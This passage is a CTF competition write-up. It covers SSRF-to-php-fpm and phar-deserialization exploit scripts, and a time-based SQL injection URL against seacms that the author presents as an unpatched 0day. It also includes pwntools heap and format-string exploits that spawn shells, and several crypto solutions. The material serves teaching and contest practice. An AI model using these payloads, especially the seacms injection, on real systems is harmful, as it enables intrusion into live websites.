    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '120.78.22.121',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
    }
    response = client.request(params, content)
    print(force_text(response))

将vps修改成自己的服务器并监听,得到数据:

data=AQHQygAIAAAAAQAAAAAAAAEE0MoBiQAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRS
RVFVRVNUX01FVEhPRFBPU1QPFlNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZmxhZy5waHAL
FlNDUklQVF9OQU1FL3Zhci93d3cvaHRtbC9mbGFnLnBocAwAUVVFUllfU1RSSU5HCxZSRVFVRVNU
X1VSSS92YXIvd3d3L2h0bWwvZmxhZy5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09GVFdB
UkVwaHAvZmNnaWNsaWVudAsMUkVNT1RFX0FERFIxMjAuNzguMjIuMTILBFJFTU9URV9QT1JUOTk4
NQsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxo
b3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4
dA4BQ09OVEVOVF9MRU5HVEgwAQTQygAAAAABBdDKAAAAAA==&host=127.0.0.1&port=9000

得到flag

flag: flag{php-fpm_is_so_easy!}

5.2021.6.1萌新赛-shorturl

出题人:lastsward

考点:

​ 1.ssrf

​ 2.变量覆盖

​ 3.Laravel Debug模式下远程代码执行漏洞原理

​ 4.phar反序列化

审计代码,漏洞点在:

$urls = file_get_contents($files);
if (!strstr($urls,$url)){
    file_put_contents($files,$urls.'|'.$url);
}

详情参考Laravel Debug RCE分析

执行这一步之前有几个条件:

$url_count=0;
$list = scandir('cache');
foreach ($list as $file) {
    if (preg_match('/^url_/i', $file))
        $url_count++;
}
if($url_count>1){
    ...
}
else{
    ...
    $urls = file_get_contents($files);
    if (!strstr($urls,$url)){
        file_put_contents($files,$urls.'|'.$url);
    }
}

需要清理url_xxxx的文件,这时需要调用/api/clean接口

route('/api/clean', function () {
    check_admin();
    $count = call_func('Cache','clearCache',array());
    echo json(sprintf('clean %s files', $count), 200);
});

但是只能本地访问,通过伪造页面功能进行ssrf:

function getFakePage($url)
{

    if (!preg_match('/^https?:\/\//i', $url)) {
        die('error');
    }
    if(preg_match('/locall|127\.0\.0\.|0\.0\.0\.0/i', $url)){
        die('error');
    }
    $path = ROOT_PATH . DIRECTORY_SEPARATOR . '/cache/html_' . md5($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_TIMEOUT, 50);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $res = curl_exec($ch);
    curl_close($ch);
    file_put_contents($path, $res);

    return $res;
}

302跳转绕过waf:

<?php
header('Location: http://127.0.0.1/index.php/api/clean');

$file变量我们可以通过变量覆盖控制,

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        if(preg_match("/SESSION|SEVER|COOKIE/i", $_k,$matches)){
            die('error');
        }
        if (preg_match("/data|file|glob|input|zip|dict|flag|%/i", $_v,$matches)){
            die('error');
        }
        ${$_k}=$_v;
    }
}

然后$cache_expire 设置成0,才能清理日志

if ($currentTime - filemtime($path) > $cache_expire) {
    if (preg_match('/^((url|request)_[A-z0-9]+)\.[A-z]+$/', $file, $matches)) {
        $cache = $this->getCache($matches[1])[0];
        unlink($path) && $count++;
    }
}

通过filter协议写入payload到日志,然后进行phar反序列化,pop链:

class Cache
{
    public $func = 'putCache';
    public $params = array('flag_a2914636ca7b8ab86e392942311b5548','flag_a2914636ca7b8ab86e392942311b5548');
    public $engine = 'file';
    public $dir = '/var/www/html/cache';
}


$phar = new Phar("vul.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub("<?php__HALT_COMPILER(); ?>");

$phar->setMetadata(new Cache);

$phar->stopBuffering();
echo base64_encode(file_get_contents('vul.phar'));
?>

flag_xxxx改成自己的ip md5

exp:

import requests
import json
import base64
import hashlib
from binascii import b2a_hex
import random
import time
url = 'http://114.96.78.89:22223/'
ip = '112.4.241.243'

payload = 'PD9waHBfX0hBTFRfQ09NUElMRVIoKTsgPz4NChIBAAABAAAAEQAAAAEAAAAAANwAAABPOjU6IkNhY2hlIjo0OntzOjQ6ImZ1bmMiO3M6ODoicHV0Q2FjaGUiO3M6NjoicGFyYW1zIjthOjI6e2k6MDtzOjM3OiJmbGFnX21kNSI7aToxO3M6Mzc6ImZsYWdfbWQ1Ijt9czo2OiJlbmdpbmUiO3M6NDoiZmlsZSI7czozOiJkaXIiO3M6MTk6Ii92YXIvd3d3L2h0bWwvY2FjaGUiO30IAAAAdGVzdC50eHQEAAAAdiq4YAQAAAAMfn/YtgEAAAAAAAB0ZXN0QXcCB3BZ1CvqY6M5LpTIcgKrv5gCAAAAR0JNQg=='#以上脚本的运行结果
headers = {
	'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
}
def clean_file(url):
	data = {
	'url':'http://www.'+ ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))+'.com',
	'encrypt_type':'["fake_page"]',
	'extent':'{"fake_page":"http://120.79.25.56/ssrf1.php"}'
	}
	res = requests.post(url=url+'index.php/api/link',data=data,headers=headers).text
	print(res)
	res = json.loads(res)['data']
	time.sleep(2) #防止文件删除不了
	res = requests.get(url=res+'?cache_expire=0.1',headers=headers)
	print(res.text)
	# print(res.text)
	# print('清理文件成功')
def com(url):
	data = {
	'url':'http://www.'+''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))+'.com',
	'encrypt_type':'["normal"]',
	'extent':'\{\}',
	}
	print(requests.post(url=url+'/index.php/api/link',data=data,headers=headers).text)

def exp(url,file,p_url=''):
	data = {
	'url':'http://www.'+p_url+''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))+'.com',
	'encrypt_type':'["normal"]',
	'extent':'\{\}',
	'files':file
	}
	print(requests.post(url=url+'/index.php/api/link',data=data,headers=headers).text)

def get_payload(ip):
	md5_ip = hashlib.md5(ip.encode(encoding='UTF-8')).hexdigest()
	s = base64.b64decode(payload.encode()).replace(b'md5',md5_ip.encode())
	s = str(base64.b64encode(s))[2:-1]
	armedPayload = ''
	for i in s:	
		i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
		armedPayload += i+"=00"
	return 'a'+armedPayload
clean_file(url)
# 清理日志
exp(url,'php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/php-errors.log')

clean_file(url)
# 清理日志
exp(url,'php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/php-errors.log')

clean_file(url)
 #写入payload
exp(url,get_payload(ip))


clean_file(url)
 #清空其他字符,解码payload
exp(url,'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/php-errors.log','a')

clean_file(url)
# phar反系列化
exp(url,'phar:///tmp/php-errors.log')

非预期,基本都是用这个解的:

Record->changeUrlRecord()存在逻辑缺陷。

if($url_count>1){    
    $cache = call_func('Cache','getCache',array('manage'))[0];    
    $ord_cache = call_func('Cache','getCache',array('manage'))[1];    
    $cache[$url] = isset($cache[$url]) ? $cache[$url] + 1 : 1;
    file_put_contents('cache/manage.data',serialize($cache).'|'.serialize($ord_cache));
}

写入一个对象。

http://example.com/|O:5:"Cache":4:{s:4:"func";s:8:"putCache";s:6:"params";a:2:{i:0;S:37:"fl\61g_4267c5156b4635e2763fb6379d24af91";i:1;S:37:"fl\61g_4267c5156b4635e2763fb6379d24af91";}s:6:"engine";S:4:"\66ile";s:3:"dir";s:19:"/var/www/html/cache";}

再随便添加一个url,触发Record->changeUrlRecord()调用Cache->getCache(),第一个对象反序列化失败,第二个成功,触发file_put_contents(),写入flag_{md5}.data,获得flag。为了消除痕迹,可以写入一个含有|的URL,如"http://|",此时cache/manage.data如下

a:1:{s:18:"http://|";i:1;}|O:5:"Cache":4:{s:4:"func";s:8:"putCache";s:6:"params";a:2:{i:0;s:37:"flag_4267c5156b4635e2763fb6379d24af91";i:1;s:37:"flag_4267c5156b4635e2763fb6379d24af91";}s:6:"engine";s:4:"file";s:3:"dir";s:19:"/var/www/html/cache";}

再写入一个不含|的URL,如"http://example.com",此时cache/manage.data如下:

a:1:{s:18:"http://example.com";i:1;}|b:0;

6.2021.6.1萌新赛-easy_sql

出题人:root

因为搭建docker的时候是五月二十几号,而官方于五月三十号更新seacms,所以大家可以用之前版本的漏洞非预期。

以下是0day,给大家玩吧,不知道官方啥时候修,别做坏事

预编译写错

闭合百分号和单引号

/js/player/dmplayer/dmku/index.php?ac=so&key=3%25%27and+(select+sleep(3))--+-

出来了,也没过滤,单纯考验大家的审计能力

Pwn

1.2021.6.1萌新赛-ntr_note

出题人:ntr

ntr_note.py

from pwn import*
libc=ELF('./libc-2.31.so')
i=0
while i<0x20:
	try:
		sh=process('./ntr_note')
		su=lambda x,y:sh.sendafter(x,y)
		sue=lambda x,y:sh.sendlineafter(x,y)
		def cmd(ch):
			sue('>>',str(ch))
		def add(size,content):
			cmd(1)
			sue('size:',str(size))
			su('content:',content)
		def delm(index):
			cmd(2)
			sue('idx:',str(index))
		def edit(index,content):
			cmd(4)
			sue('idx:',str(index))
			su('content:',content)
		add(0x38,'aaa')#0
		add(0x50,'aaa')#1
		add(0x50,'aaa')#2
		add(0x50,'aaa')#3
		delm(0)
		delm(2)
		delm(3)
		edit(0,'a'*0x10)
		delm(0)
		edit(0,'\xd0')
		add(0x30,'aaa')#4
		fake='a'*0x8+p64(0xc1)
		add(0x30,fake)#5
		for i in range(7):
			delm(1)
			edit(5,p64(0)+p64(0xc1)+p64(0)*2)
		delm(1)
		add(0x10,p16(0xb6a0))#6
		delm(0)
		edit(0,p64(0)*2)
		delm(0)
		edit(0,p64(0)*2)
		delm(0)
		edit(0,'\xe0')
		add(0x30,'a')#7
		#
		add(0x38,'a')#8
		leak=p64(0xfbad1800)+p64(0)*3+p8(0x00)
		add(0x38,leak)#9
		libc_base=u64(sh.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,'\x00'))-0x1eb980
		if (libc_base<0):
			sh.close()
			continue
		print'[+]=libc_base='+hex(libc_base)
		sym=libc.sym['system']+libc_base
		free_hook=libc_base+0x1eeb28
		add(0x20,'/bin/sh\x00')#10
		delm(10)
		edit(10,p64(0)*2)
		delm(10)
		edit(10,p64(free_hook))
		add(0x20,'/bin/sh\x00')#11
		add(0x20,p64(sym))
		delm(11)
		sh.interactive()
		break		
	except EOFError:
		i+=1
		sh.close()
		continue

2.2021.6.1萌新赛-61happy

出题人:ntr

因为出了点小问题所以这道题目不再是签到题

exp.py

from pwn import*
#sh=process('./qiandao')
libc=ELF('./libc-2.31.so')
sh=remote('81.68.86.115',10001)
#0x7f3d1fbd50b3
ret=0x65e
pop_r12_rbp=0x12fe7d 
pop_rdi=0x26b72
def suh():
	sh.recvuntil('0x')
	return int(sh.recv(12),16)
#gdb.attach(sh,'b printf')
sh.sendline('%9$p%7$p%11$p...')
stack_add=suh()
libc_add=suh()
pie_base=suh()-0x82E
libc_base=libc_add-0x270b3
print'[+]lib_add'+hex(libc_add)
print'[+]lib_base'+hex(libc_base)
print'[+]stack_add:'+hex(stack_add)
print'[+]pie_base:'+hex(pie_base)
ret_add=stack_add-0xf0
print '[+]ret_add:'+hex(ret_add)
sh.recvuntil('...')
ret_l=ret_add & 0xffff
#gdb.attach(sh,'b printf')
ret+=pie_base
pop_r12_rbp+=libc_base
pop_rdi+=libc_base
shell=libc_base+libc.search("/bin/sh").next()
print '[+]pop_rdi'+hex(pop_rdi)
system=libc_base+libc.sym['system']
print '[+]=pop_r12_rbp:'+hex(pop_r12_rbp)
print '[+]=system:'+hex(system)
def mov(add,beadd):
	beadd_h=(beadd >> 16) &0xffff
	beadd_l=(beadd & 0xffff)
	beadd_hh=(beadd >> 32) &0xffff
	add_l=add&0xffff
	fmt='%'+str(add_l+2)+'c'+'%9$hn...'
	sh.sendline(fmt)
	sh.recvuntil('...')
	fmt='%'+str(beadd_h)+'c'+'%37$hn...'
	sh.sendline(fmt)
	sh.recvuntil('...')
	fmt='%'+str(add_l & 0xff)+'c'+'%9$hhn...'
	sh.sendline(fmt)
	sh.recvuntil('...')
	fmt='%'+str(beadd_l)+'c'+'%37$hn...'
	sh.sendline(fmt)
	sh.recvuntil('...')
	fmt='%'+str(add_l +4)+'c'+'%9$hn...'
	sh.sendline(fmt)
	sh.recvuntil('...')
	fmt='%'+str(beadd_hh)+'c'+'%37$hn...'
	print "[+]beadhh:",hex(beadd_hh)
	sh.sendline(fmt)
	sh.recvuntil('...')
	print '[+]add_r:'+hex(add_l+4)
	print '[+]%n_0k'
	print '[+]fmt:'+fmt
mov(ret_add,pop_r12_rbp)
mov(ret_add+0x18,pop_rdi)
mov(ret_add+0x20,shell)
sh.sendline('\x00'*0x50)
mov(ret_add+0x28,system)
mov(ret_add+0x38,shell)
sh.sendline('61happy\x00')
sh.interactive()

3.2021.6.1萌新赛-ntr_note升级版

出题人:ntr

super_note.py

from pwn import*
libc=ELF("./libc-2.31.so")
#context(log_level="debug")
sc=libc.sym['setcontext']+61
syscall=libc.sym['read']+16
read=libc.sym['read']
write=libc.sym['write']
puts=libc.sym['puts']
magic=0x00000000001547a0
'''
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
'''
pop_rax=0x000000000004a550
pop_rdi=0x0000000000026b72
pop_rsi=0x0000000000027529
pop_rdx_r12=0x000000000011c1e
pop_rdx_rbx=0x00000000001626d6
''''''
sa=lambda x,y:sh.sendafter(x,y)
sal=lambda x,y:sh.sendlineafter(x,y)
suh=lambda x,y,z:int(sh.recvuntil(x,timeout=0.1,drop=False)[y:z],16)
suu=lambda x,y:u64(sh.recvuntil(x,timeout=0.1)[y:].ljust(8,'\x00'))
''''''
sh=process("./super_note")
#sh=remote("127.0.0.1",10001)
def cmd(ch):
	sa("choice:",str(ch))
def add(index,size):
	cmd(1)
	sa("index:",str(index))
	sa("size:",str(size))
def edit(index,content):
	cmd(2)
	sa("index:",str(index))
	sa("content:",content)
def show(index):
	cmd(3)
	sa("index:",str(index))
	sh.recvuntil("[")
	leak=suh(']',-7,-1)
	return leak
def delm(index):
	cmd(4)
	sa("index:",str(index))
def init(size):
	for i in range(15):
		add(0,size)
init(0x10)
init(0x60)
for i in range(10):
	add(1,0x50)
add(0,0x60)
leak=show(0)
tcache_s=(leak-0x1000)&0xf000
print hex(leak)
print hex(tcache_s)
delm(0)
edit(0,p64(0)*2)
delm(0)
edit(0,p16(tcache_s+0xb0))
add(0,0x60)
add(0,0x60)
add(1,0x20)
add(2,0x20)
delm(1)
leak_heap=show(1)
print "0x20heap_ad:"+hex(leak_heap)
for i in range(40):
	add(2,0x10)
add(3,0x60)
delm(3)
fake=p64(0)+p16(leak_heap-0x10)
edit(0,fake)
add(2,0x60)
edit(2,p64(0)+p64(0x521))
delm(1)
add(5,0x60)
delm(5)
edit(0,p64(0)+p16(tcache_s))
add(7,0x50)#unb
add(8,0x60)#count
leak_unb=show(7)
print "leak_heap_unb=="+hex(leak_unb)
add(9,0x50)
delm(9)
edit(8,'a'*0x40)# count>7
edit(0,p16(leak_unb))
edit(7,p16(0x66a0))
add(10,0x50)
add(10,0x50)#io_add
leak_add=show(10)
print "io_leak_add="+hex(leak_add)
leak_p=p64(0xfbad1800)+p64(0)*3+p16(leak_add+0x10)
edit(10,leak_p)
libc_base=suu('\x7f',-6)-0x1ec6b0
print "libc_base==="+hex(libc_base)
magic+=libc_base
sc+=libc_base
pop_rax+=libc_base
pop_rdi+=libc_base
pop_rsi+=libc_base
pop_rdx_r12+=libc_base
syscall+=libc_base
read+=libc_base
write+=libc_base
puts+=libc_base
pop_rdx_rbx+=libc_base
main_arena=0x1ebb80+libc_base
free_hook=libc_base+0x1eeb28
edit(0,p64(free_hook))
add(11,0x50) #free_hook
edit(8,'\x00'*0x40)
add(12,0x60)
edit(11,p64(magic))
edit(12,p64(0)+p64(main_arena))#magic stackp
edit(0,p64(main_arena)+p64(main_arena+0xa0))
edit(8,'a'*0x40)
add(13,0x50)#m
add(14,0x60)#m+0xa0
edit(0,p64(main_arena+0xa0+0x60)+p64(main_arena+0x500))
add(15,0x58)
add(16,0x60)#flag
payload='a'*0x20+p64(sc)
edit(13,payload)
orw=p64(main_arena+0xb0)+p64(pop_rdi)+p64(main_arena+0x500)
orw+=p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(main_arena)
orw2=p64(pop_rdx_rbx)+p64(0x20)
orw2+=p64(0)+p64(read)
orw2+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(main_arena)+p64(write)#108
print "len_code"+hex(len(orw))
edit(14,orw)
edit(15,orw2)
edit(16,'./flag\x00')
delm(12)
sh.interactive()

Crypto

1.签到

出题人:mumuzi

base64,base16,base64,base32

flag{sign_in_right}

2.2021.6.1萌新赛-rsa256

出题人:Graffy

rsa256 已经过去很久了,有什么漏洞呢?

flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

\1. 题目分数: 中下难度,100分

\2. 题目考点: Rsa256 爆破,大数分解

\3. 题目描述: rsa256 已经过去很久了,有什么漏洞呢?

\4. 题目内容: 给一个公钥和多个密文。提示 rsa256,可以爆破。选手可以写脚本或者

用工具,爆破后可以解密文件。

\5. 解题过程: 原理是大数分解爆破。根据 rsa256 的可以被爆破的弱点,提取出 n 进行

爆破。

使用脚本读取 n

得到 n 后,使用 yafu 对 n 进行爆破

命令为

yafu-x64.exe factor(98432079271513130981267919056149161631892822707167177858831841699521774310891)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O0EUB4c3-1622663312119)(C:\Users\xluo\AppData\Roaming\Typora\typora-user-images\image-20210603023911215.png)]

得到 p,q 的值然后使用 rsatool 生成私钥

python rsatool.py -n

9843207927151313098126791905614916163189282270716717785883184169952

1774310891 -p 302825536744096741518546212761194311477-q

325045504186436346209877301320131277983-e 65537 -v PEM -o

genprivate.pem

最后用私钥进行解密三个文件得到 flag

openssl rsautl -decrypt -inkey genprivate.pem -in encrypted.message 

flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

\6. 难度变化: 把公钥和秘文以流量包的形式给出,让选手自己提取。

3.2021.6.1萌新赛-big exponent

出题人:striving

flag=b"flag{welcome_to_2th_compettion_2021}"

"""
pubkey,prikey=gen_key()
e1,e2=pubkey[0],pubkey[1]
#e1=114552459553730357961013268333698879659007919035942930313432809776799669181481660306531243618160127922304264986001501784564575128319884991774542682853466808329973362019677284072646678280051091964555611220961719302320547405880386113519147076299481594997799884384012548506240748042365643212774215730304047871679706035596550898944580314923260982768858133395187777029914150064371998328788068888440803565964567662563652062845388379897799506439389461619422933318625765603423604615137217375612091221578339493263160670355032898186792479034771118678394464854413824347305505135625135428816394053078365603937337271798774138959
#e2=27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383535259913549859747158348931847041907910313465531703810313472674435425886505383646969400166213185676876969805238803587967334447878968225219769481841748776108219650785975942208190380614555719233460250841332020054797811415069533137170950762289
#N=14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241
E1,N1=encrypt_e1(e1)
export_key(r"pubkey1",E1,N1)

print(E1,N1)
#1602756013062112843744042848696751291734328877359431629694202442970213958619662519632912193714465417475466815521066706941763237747867361186913306445129211826325418293180840491906582168046775011902187128141553876554027713566535166942445716391472657244732048178191442990104179346452453955565791601538034168571296789315804768285499137885434524729333086995652263390337079371130206550240700066939844703584472188151540022021010493776597423277845220640999153544739230286588525750509153214472224408941595500917168173154237309301590704927373355915044693214928571732630774782699886200158926633708423762013924971588111846040637913518589837132640710389683172084726417372521165973166248965018352226577610296331263536718335546936698363703546273609914679582318416258368128209310517101158271088467767872409470829124988064340805991237546597067227179804849995209190941225949426623192206566609053871819997087958681298608926214864605144946630018633964330698142294342646806166413223615564901058200767400412658431809514870082489588903686687244605745555051646530519595510577875446720832450864212827938087056696786030988058247078944886916082594200248708750492466227915219311120228702916717634212959658361246513056518215813568863758319903741132911625511
#10389972202488474434385647057256536970944522154699366593274659006962946119149578322524182527610365274630374823513225511576566970084219726571112171498765468454992092032098968791581251363981273335351716366026395509137757920320684705484256071047164909659493352078954931917152094605722917224289566534793783961520549197586345550687899665071780825718810395955334774852529017668146634188836380718305552347120738593156499081201359772211046500514162197483151522501404569451950489266441212978454319065210389542615479438368305839762843720262159519674739214109460735014689796846506110788683184490948651323161303155066053467470859234311200004845029800834717834050659163269482118990403483214933192284752677787379935884744829298055724598585622601720206837249426147932103072082794841035715792139422093743983731846108874789019045487130155442385567783453353134728022801984465689809769641368264999340835632297409830869038895302882832799713759032624881777496053540288028751614794797910869312896112807309453687261949632189059270253877294956823544426958058484838008690369213989176715919832284260911094734592168260299021784602099741211281736349481538834989469416940450306568995911691504406662990104438279561977507971790417056125611569820502961491952589

E2,N2=encrypt_e2(e2)
export_key(r"punkey2",E2,N2)
#print(E2,N2)
#1246495024010310307464211292736515606034188301242117462425543012003204263566273406212893022160255250560228555330092850181381206510943661373320181208232738855120492613663506503707684017169387092865515101096837820171230720513863211885104530730689782311459709238291307551114202070809996473844547700866486831379755527391837381741949800343189570025249817356965346461736169915914060153791408254487467868427068520801189986102323846448366887636545747004969229406735723022698756935784487941450668829268763327175102338665582898372517798089732162234247052172671568214644831387381038677429285339036263076405752940931255272541738394991047122642099786496176837367423776642773009252975402107421624991830335419817949134872486723125361589135159900396509955359034783309977156022281440782733393695549671835133127106170736604258525846252921486726002670971846556996108314348924051087078246682314312768084757330873301267623958394011274771458246846413933183519513757449706586398127450883935088840003760143273066077344679104767600320228176765559600134444948342399121050155509720652786181739438197493254562128164184767580634499070944962349886241346697804133988109898055548378226722094450693864593667341753860723387549285336801563015140307197913462417041
#2501536284990404072736537409363356454854795197073580407347145990363574394488789915901886542831953918103191148588879308356607224106077333123037777924574938545135715935584101322775899873959983008442058936211424174125039709157912642060036179962486943975578655068952281236088408975679748546737285593940976598255752904594118063687519178480249663482910322398871525642709250912902603155595051931271009027197622687271432472916084490475451249274443918166604503681533776100542845444360637792386452203270167245284726765120600256269731784866281216007128824958523953302385916925141136349443889801971787662455065926867271924598180941780060111526110374552086352972147292148641716549188056084563464072054418036849589448418401220406461725077712241531995573489893816736323819619639649673393654507377497455312428518058279493230441693836463209011467603040022469146193988491894766986317688997351156884055665986684734608675547219286310250175994379399842197619344832621753315475430321998577709486003230079255322749141148707662003004150080549919719466764692666333133850869850005281257264673347022142784476041725838638516692905139484633714154258135446648168702253595075040390215370866202147756286089695605256117610270206216393798427084522697047482816147
"""
"""
E1=1602756013062112843744042848696751291734328877359431629694202442970213958619662519632912193714465417475466815521066706941763237747867361186913306445129211826325418293180840491906582168046775011902187128141553876554027713566535166942445716391472657244732048178191442990104179346452453955565791601538034168571296789315804768285499137885434524729333086995652263390337079371130206550240700066939844703584472188151540022021010493776597423277845220640999153544739230286588525750509153214472224408941595500917168173154237309301590704927373355915044693214928571732630774782699886200158926633708423762013924971588111846040637913518589837132640710389683172084726417372521165973166248965018352226577610296331263536718335546936698363703546273609914679582318416258368128209310517101158271088467767872409470829124988064340805991237546597067227179804849995209190941225949426623192206566609053871819997087958681298608926214864605144946630018633964330698142294342646806166413223615564901058200767400412658431809514870082489588903686687244605745555051646530519595510577875446720832450864212827938087056696786030988058247078944886916082594200248708750492466227915219311120228702916717634212959658361246513056518215813568863758319903741132911625511
N1=10389972202488474434385647057256536970944522154699366593274659006962946119149578322524182527610365274630374823513225511576566970084219726571112171498765468454992092032098968791581251363981273335351716366026395509137757920320684705484256071047164909659493352078954931917152094605722917224289566534793783961520549197586345550687899665071780825718810395955334774852529017668146634188836380718305552347120738593156499081201359772211046500514162197483151522501404569451950489266441212978454319065210389542615479438368305839762843720262159519674739214109460735014689796846506110788683184490948651323161303155066053467470859234311200004845029800834717834050659163269482118990403483214933192284752677787379935884744829298055724598585622601720206837249426147932103072082794841035715792139422093743983731846108874789019045487130155442385567783453353134728022801984465689809769641368264999340835632297409830869038895302882832799713759032624881777496053540288028751614794797910869312896112807309453687261949632189059270253877294956823544426958058484838008690369213989176715919832284260911094734592168260299021784602099741211281736349481538834989469416940450306568995911691504406662990104438279561977507971790417056125611569820502961491952589
export_key(r"pubkey1.pem",E1,N1)
E2=2904058618957347796124806709844284214100347303482285059334842732156837427829028418920870968317177518028202483477549514212955602692003773329471277987963666941967413171313415800413419035946782664102531583332702813106576020585616653743371004518451826620196955977231854966488359561580200233096295646666641174918511109948768573194092566999584870294045886424642762432262548742357989212451404702164775093450442502101704487267578537521568104803212351617897518360418816225241353834568549073742928755460051553731472149086328300601631382240404345064443429825021218866893595330304773327331625471097046963602134853969990771813467918989638459534586121489116502696806243321935512681823926215427247490383579587683616800665676470585563938390230514312532088869777318211152869729889605399179012809125224288902698315984031292176410078299624068706977744884534372985229093509461309044283036222251451629256507078267852271542419681478299549238667404075635069223260077018992991699204691169927302219293706248235790806563798411283016548214931544796004828252360169451578597816847440083848623571457419977424379075036672826539077109974259972227306009381651363948380296783778147092953371690519222478858048155676852084473468114026565915661459803106941095015763
N2=2947099132768432239262140325489012008136562359786164146900132065874943874310214845147886548913927492897638118080082733464759871610972161661096393135711267208489466092991574960832803907432393822522054842671146687216826758961986352293587044309465017950910137142584814753246513196450220420543806256522624123011420301205377827439807090586871502904476900922731190941922602491472341691099948406959589435264602346525356951434483133228448982018806919026427796238701953049374043240427065114379912400761401835382231644164890927209229045420232838877014901059570771063951002349667948238684003020817629602614271587804803350183809313620245659299022506108199422943009709996162535556366586364071207030624352789165012690481726926410654988109003294842949392223255169265256040230333777540771236826373527806129949567064986986248005230506249577950447427255416197161944978225695280943812976731869417359649717378208624743949250763269709695591259349766985801516272099109732240934970129506348663036316833397070269529278378508785318832239680957227443208024522491813768306547955719197515313601091137531546680448725761989081051169698085403344069137955168070399996743250419301763062376596262269956472939379607564392703925189842964212071831556905393561597209

export_key(r"pubkey2.pem",E2,N2)
N=14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241
E=65537
export_key(r"pubkey3.pem",E,N)

n=14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241
e=65537
cipher=encrypt(flag,e,n)
f=open(r"flaggg.enc","wb")
f.write(cipher)
f.close()

"""


#export_key(r"pubkey2.pem",int(E2),int(N2))

4.2021.6.1萌新赛-字符串与字节

出题人:Graffy

两个二进制字符串实际上是,一个字符串的奇数位的集合与偶数位的结合

将其组合,转换为字符串即可

s='010101100100010101110101010001010100010001000101010101100100011001010110

011001000100010001000110011001100110010001100100010101100100010001010101010

101010101010101000110'

t='101010101001101111011001101101011011011101000100100100110110010010010101

001101101010011101000011010101010101010000110111100001000101101010000110101

010011000101001001111'

flag=''

for i in range(len(s)):

flag+=s[i]+t[i]

print binascii.a2b_hex(hex(int(flag,2))[2:-1])

最后flag{ce3e502c-48c9-4d50-9990-5b81db6fcbf0}

到这里就结束啦,撒花,欢迎加入NEWSCTF唯一官方群1063624041
群文件有详细版wp

  • 6
    点赞
  • 5
    评论
  • 4
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
